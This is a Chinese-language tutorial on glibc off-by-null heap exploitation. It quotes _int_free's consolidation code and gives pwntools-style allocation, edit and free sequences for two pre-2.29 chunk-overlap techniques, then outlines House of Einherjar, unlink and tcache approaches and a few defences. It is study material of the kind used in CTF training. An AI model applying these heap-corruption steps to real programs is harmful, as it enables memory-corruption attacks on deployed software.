off by null低版本利用的两种方式
字数 1315 2025-08-22 12:22:48
Off by Null漏洞利用技术详解
1. 基本概念
1.1 Off by Null与Off by One的区别
- Off by One: 允许覆盖一个字节,且可以控制该字节的内容
- Off by Null: 只能覆盖一个字节,且该字节必须为NULL('\x00')
1.2 利用条件
Off by Null比Off by One利用条件更弱,需要更精巧的构造才能实现利用。
2. 低版本利用技术(glibc < 2.29)
2.1 可控pre_size的利用方式
2.1.1 原理分析
利用_int_free函数中的合并机制:
- 检查前一个chunk是否空闲(通过PREV_INUSE位)
- 如果空闲,则根据prev_size找到前一个chunk并进行合并(unlink)
- 检查后一个chunk是否空闲,如果空闲也进行合并
关键代码段:
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long)prevsize));
unlink(av, p, bck, fwd);
}
2.1.2 利用步骤
- 分配多个chunk,形成特定布局
- 释放特定chunk
- 利用Off by Null修改下一个chunk的size和prev_size
- 触发合并操作,制造堆块重叠
2.1.3 示例代码分析
# 分配初始堆块
add(0, 0x200) # chunk0
add(1, 0x18) # chunk1
add(2, 0x1f0) # chunk2
add(3, 0x10) # chunk3 (防止合并)
# 释放chunk0
free(0)
# 利用Off by Null修改chunk2的size和prev_size
# 填充chunk1的数据区,覆盖chunk2的头部
edit(1, b'a'*0x10 + p64(0x230) + p8(0))
# 释放chunk2,触发合并
free(2)
2.2 不可控pre_size的利用方式
2.2.1 原理分析
当无法控制prev_size时,通过修改size字段的低字节为NULL来改变chunk大小,然后通过精心设计的堆布局实现利用。
2.2.2 利用步骤
- 分配多个chunk形成特定布局
- 释放中间chunk
- 利用Off by Null修改下一个chunk的size字段
- 重新分配chunk进行切割
- 通过多次释放触发合并,制造堆块重叠
2.2.3 示例代码分析
# 初始堆布局
add(0, 0x18) # chunk0
add(1, 0x408) # chunk1
add(2, 0x2f0) # chunk2
add(3, 0x20) # chunk3 (防止合并)
# 释放chunk1
free(1)
# 利用Off by Null修改chunk1的size字段
edit(0, b'a'*0x18 + p8(0)) # 0x410 -> 0x400
# 重新分配进行切割
add(4, 0x1f0) # 从chunk1切割
add(5, 0x10) # 分割块
add(6, 0x1f0 - 0x40) # 从剩余空间切割
add(7, 0x10) # 分割块
# 触发合并
free(4)
free(2)
free(6) # 此时产生堆块重叠
3. 高版本利用技术(glibc ≥ 2.29)
3.1 新版本保护机制
glibc 2.29引入了prev_size的检查:
if (__glibc_unlikely(chunksize(p) != prevsize))
malloc_printerr("corrupted size vs. prev_size while consolidating");
3.2 利用思路
- House of Einherjar: 通过伪造fake chunk并利用Off by Null修改PREV_INUSE位
- Unlink攻击: 需要泄露堆地址,精心构造fd和bk指针绕过检查
- Tcache Poisoning: 结合tcache机制进行利用
4. 防御措施
- 输入长度严格检查,避免溢出
- 使用现代glibc版本(≥2.29)
- 启用堆保护机制(如FORTIFY_SOURCE)
5. 总结
| 版本 | 利用方式 | 关键点 | 限制条件 |
|---|---|---|---|
| 低版本 | 可控pre_size | 伪造prev_size触发合并 | 需要控制prev_size |
| 低版本 | 不可控pre_size | 修改size字段进行切割 | 需要复杂堆布局 |
| 高版本 | House of Einherjar | 伪造fake chunk | 需要地址泄露 |
| 高版本 | Unlink攻击 | 精心构造fd/bk | 需要堆地址 |
掌握Off by Null的利用技术需要深入理解glibc堆管理机制,特别是合并操作的细节。不同版本的glibc有不同的保护机制,需要针对性地调整利用方式。